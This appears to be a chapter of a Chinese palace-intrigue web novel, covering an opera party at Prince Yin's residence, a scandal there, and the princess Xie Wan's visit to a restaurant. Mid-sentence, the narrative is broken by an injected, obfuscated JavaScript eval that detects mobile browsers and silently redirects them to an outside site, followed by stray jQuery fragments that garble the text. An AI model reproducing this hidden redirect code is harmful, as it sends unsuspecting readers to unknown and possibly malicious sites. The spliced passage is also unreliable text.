宋予不懂自己怎么惹人生了气,想到她将眼睛瞪得圆圆的,忽的笑了。
长生看见主子笑,好奇道:“主子是不是病了,平日里听小五说笑话,都不见您笑,怎么今日您都笑了好几回。”
宋予睨他一眼,“少说少错。”
长生明白了,再说下去他回去就要受罚了,便摸了摸鼻子,往后退了几步。
看了会儿戏,宋予忍不住转头望了谢宛一眼,只一眼,便让他从心底生出惊叹。
深邃的眼,高挺的鼻梁......
唔......世间难得。
正看着,谢寿却突然站起,挡住了宋予的视线,且拍掌大叫:“好好好。都有赏。”
宋予不免有些失望,懒得再看戏,遂找了个借口,带着长生和小五告辞了。
女眷那边,孙太妃也惊喜的拍着手掌,一连说几个好。
“唱的真好。”康郡王妃由衷地夸了一句。
云氏笑着说:“真是没想到,戏还能这样唱。想来以后,这个戏班子会名扬镐京,往后啊,咱们这些人家会更热闹了。”
又望着丹阳郡主,“丹阳郡主你说,这戏是不是很有意思?”
丹阳郡主跟人吵架输了,贴身丫鬟还被打掉了一颗牙,此刻哪有心情看戏,撅着嘴道:“哼,有什么好看的,雕虫小技罢了。”
“丹阳!不得无礼!”殷王妃呵斥。
云氏讪讪一笑,道:“无事无事,丹阳还小,可能不喜欢看这类戏。”
嘴上这么说,心里却把丹阳狠狠地骂了一遍。
孙太妃转头看丹阳,道:“这可不是雕虫小技。这是小彩春戏班子的拿手好戏《三英战吕布》,跟其他戏班子不同,老婆子我还从来没见过用竹篾扎马架子,用脚踩高跷来唱这出戏的。”
殷王妃看着台上,点点头道:“听说这是他们戏班的独门技艺,别家都学不来的。”
谢宜接话道:“原来这戏与戏也大有不同。今日我们托了太夫人的福,大开眼界了。”
“可不是。”殷王妃笑。
一戏唱罢,大家纷纷鼓掌道好。
谢宜看了谢宛一眼,笑道:“皇妹觉得这出戏如何?”
大家闻言,都转过头来看谢宛。
谢宛没应。谢宜只好自答,“皇妹看的眼睛一眨不眨,想来是喜欢的。”
谢宛笑了笑,不置可否。
这一笑,使各家夫人都有点晃神。尤其她穿着一袭红裙,衬的她肌肤更白,红唇更娇艳。
有人道:“长公主真是美啊!”
也有人道:“长公主要是给我做儿媳就好了。”
谢宜对这样的谢宛十分看不惯,觉得她虚伪至极。
心中冷笑,“大家又不是傻子,且看你以后嫁了人还怎么装。尤其嫁到那表面光鲜,背地腌臜之家,名声被毁是迟早的事。”
想到这,谢宜心里舒服多了。
只要一想到谢宛名声烂了,她就高兴得很。
待丫鬟上完菜,她便端起酒杯,对谢宛道:“皇妹,我们姐妹喝一杯。”
谢宛懒得理她,半响才道:“本宫不胜酒力,方才一杯已是极限。若再喝,只怕待会要走不动了。”
谢宜再无话可说。
一时饭罢,丫鬟们撤下饭食,又上了茶水。
孙太妃喝完一杯茶,道:“老婆子我坐的久了,有些乏了,就不陪你们看戏了。”
大家见孙太妃面露疲倦,客气了说了几句话,然后都站起来送她离开。
孙太妃刚离开,就有丫鬟跑过来,在殷王妃耳边说着什么。
殷王妃一怔,有些恍惚道:“你说什么?”
丫鬟又在殷王妃耳边说了几句,“......就是这样。”
殷王妃气得骂道:“那贱蹄子......”
“母妃!”康郡王妃忙拉了拉殷王妃的衣袖,轻轻摇头。
殷王妃的话就停下了,沉默片刻,她低声吩咐了丫鬟几句,丫鬟听罢一溜烟跑了。
殷王妃又跟康郡王妃说了几句,就匆匆地往外去了。
康郡王妃对大家笑了笑道:“下人闹了些事,我和母亲先去处理一下,等会儿再来陪大家看戏。”说着,给贴身丫鬟使了个眼色,方急急去了。
云氏看着匆匆出去的二人,对谢宜道:“也不知下人做了什么,竟闹的王妃脸色都变了。”
若不是康郡王妃拦着,殷王妃也不知会骂出什么难听的话呢。
想到这,云氏眼珠子一转,笑道:“莫不是哪个丫鬟爬床被人撞破了?”
谢宜见云氏说话不分场合,一时不知该说什么好。
又怕她说出更不得体的话,忙道:“侯夫人,我们在做客呢。”说着,扫了众人一眼,低声道:“殷王府可不是泥捏的,若是传出了你编排殷王府的闲话......”
又道:“到底殷王府发生了什么也不与我们相干。”
云氏知道方才自己声音大了些,尴尬地咳了咳,道:“看戏吧。”到底没再说了。
谢宛觉得事情可能不会这么简单,推了推站在一旁的肇春。
肇春忙弯下身子。
谢宛在肇春耳边轻声道:“你去看看出了什么事。”
肇春点头,悄悄退了出去。
......
过了一炷香的功夫,殷王妃带着康郡王妃回了。又过了半盏茶的功夫,肇春也回来了。
谢宛不动声色的看了肇春一眼。
肇春就在谢宛耳边低声道:“打听清楚了,是康郡王的妾爬了殷王的床,被王府管家撞破了。”
“原管家想私下跟殷王说说,只是有几个男客喝多了,正在园子里歇息,听到动静都跑去看热闹。这一看不得了,竟一个传一个,一时围了不少看客。管家无法,只能派人来找殷王妃决断。”
谢宛知道殷王好色,不若当年藩王就藩,父皇也不会因为孙太妃哭一哭,就留下了殷王一家人。
五位亲王,除却子嗣不旺的祁王和沉溺酒色的殷王,诚王、凛王、献王都早早的去了各自封地。
归根结底,父皇不认为殷王会威胁到他的帝位,不然也不会放任殷王有那么多庶子庶女了。
“听说殷王妃到的时候,殷王醉的厉害,抱着那妾不肯撒手。”
想到那副不正经的画面,肇春有些脸红,“殷王妃找人灌了殷王两碗醒酒汤,殷王才清醒。殷王妃问他,他只说以为怀里抱着的是自个儿小妾。”
说到这,肇春有几分幸灾乐祸。
谢宛闻言,不由挑了挑眉,“殷王是真醉的分不清人,还是有意为之?”
肇春道:“这个奴婢不知。只知殷王妃本想直接把那妾打死,但被康郡王妃拦了下来,说今日是孙太妃的生辰,不宜见血。殷王妃这才叫管家把人捆住,关进了柴房。”
说话间,最后一出戏唱完,就有人起身告辞。
谢宛看向殷王妃,她正笑着与人说着什么,眉头却是微蹙着的。
谢宛不禁莞尔。
今日最大一出戏,竟是殷王亲自唱的。只可惜,自己不在现场,错过了一出好戏。
谢宛又看向康郡王妃,她正跟在殷王妃后面送客,有说有笑的,不似殷王妃那般不自然。
谢宛啧了一声:“她倒是个人物。”
肇春没听清,看着谢宛问:“公主,您说什么?”
“没什么。我们也该走了。”谢宛说罢,起身去向殷王妃告辞。
殷王妃瞧见谢宛,立即拉了她的手,笑道:“怎么不多坐会儿?若是看累了,就叫人领着你去园子里逛逛。待吃了晚饭再回去。”
谢宛笑笑,“本
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277309|151806||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宫也想留下来,只是母后早有叮嘱。”
殷王妃听了道:“既如此,皇婶也不留你了。以后有空就过来玩。”
“好。”
......
出了殷王府,肇春就问道:“公主,现在就进宫吗?”
谢宛:“进宫做什么,去五福街。”
肇春不解。
谢宛朝肇春笑了笑,“你不是说那里新开了一家酒楼,做的是西南菜,想尝尝?择日不如撞日,现在就过去吧。”
“啊?”肇春听了,有些兴奋。然后又想起什么,面露犹豫,“......听说含笑酒楼是从南诏国请的厨子,做的菜十分昂贵。”
“哦?”谢宛挑了挑眉,“再贵,能比本宫吃的人参燕窝还贵?”
“那倒没有。”
“既如此,你担心什么?”谢宛笑眯眯看着她,“难不成怕你主子付不起钱?”
肇春摇头,又有些羞臊,“奴婢让公主破费了。”
说着,将一旁装蜜饯的食盒打开,摆到谢宛面前,道:“公主,您是天下第一好公主,您对下人最是仁慈、宽容。奴婢这辈子能跟着公主,真是上辈子修来的福气。”
谢宛眨眨眼:“吃个饭而已,怎么就跟上辈子扯上关系了?”
肇春抿抿嘴,拍马道:“都是托公主的福,奴婢才能进含笑酒楼,当然是上辈子修来的好福气了。”
谢宛夸了夸她道:“肇春今日口才不错。”
“没有,没有。”肇春连声否认。
孟夏听了,笑得没心没肺。
肇春被笑得涨红了脸,尴尬地挠了挠头。
谢宛看着她害臊的模样,大笑起来。
......
说话的功夫,含笑酒楼就到了。
谢宛下了马车,就见一个小厮满脸堆笑的跑了过来。
“贵人可是来用膳的?”
肇春点了点头,“小哥,现下酒楼可还有雅间?”
小厮忙道:“有的。贵人,不知您们有几位?”
肇春道:“就我们主子一位。”
小厮笑着点点头,对谢宛做出请的手势,“贵人请跟小人这边来。”说着,引着谢宛三人进入酒楼。
这酒楼与别家不同,一入门便是鹅卵石铺成的小路,路两边种着南诏的花卉,虽说是夏日,但朵朵开的娇艳,令人陶醉在其中。
顺着小路往前走,不足百步有一木拱桥,桥上挂着一串串彩色的灯笼,随风轻轻摇曳,好不雅致。桥下是溪水,蜿蜒曲折。
谢宛一边走,一边观看,过了木桥,往左转了个弯,便是长廊。抬眼一看,只见长廊边的墙上画着南诏不同族类的美人图,且她们都穿着民族服饰,或弹琴、或起舞,极为传神。
谢宛在美人图边站了一会儿,才继续往前走。
没走多远,小厮便在一处小屋停下,笑道:“贵人,这便是您的雅间了。”
谢宛点了点头,走了进去。
待谢宛在椅子上坐下,肇春这才对小厮道:“你们这里有什么好茶,先上上来。”
“是。”小厮笑着去了。
肇春看桌上有壶凉水,便给谢宛倒了一杯,道:“这家酒楼当真不错,连院里的花儿都是南诏那边的。看得出来,东家花了不少心思。”又指着墙面,“公主,您看这个壁画上的花鸟,跟真的似的。”
谢宛喝了一口水,笑道:“是挺别致。”
孟夏也在雅间转了一圈,说了些这个花儿香,这个器具精巧的话。
谢宛望着她们俩那没见过世面的样子,笑的直摇头。
说笑间,小厮领着一位年轻的小娘子进来,开口道:“怀绿来给贵人煮茶。”
肇春打量怀绿一眼,见她膀大腰圆,眉头微皱,心中嘀咕:这样不灵巧的人能煮出什么好茶来。